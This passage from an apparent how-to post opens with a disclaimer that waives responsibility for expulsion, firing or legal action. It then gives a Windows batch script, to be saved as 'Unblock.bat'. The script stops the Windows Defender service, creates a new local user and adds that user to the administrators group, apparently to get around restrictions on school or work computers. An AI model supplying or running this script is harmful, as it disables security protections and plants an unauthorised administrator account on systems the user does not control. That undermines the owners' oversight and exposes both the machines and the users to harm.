Also this was posted for educational purposes only, I am not to be held responcible for any inappropriate usage of this information or the files that I provided. I am not to be held responsible for individuals or groups of people that suffer consequences of using this information or the files that I provided, these consequences include things such as expulsion, getting fired, or legal action.
Step 1: Now to make the script
sc stop windefend
net user S password /add
net localgroup administrators S /add
Replace password with whatever you want the password for the account to be, and replace S for whatever you want the username to be.
Now save the notepad as something like Unblock.bat and make sure to save the type as all files, it does not matter what you save the file as, as long as it has .bat at the end of the file name.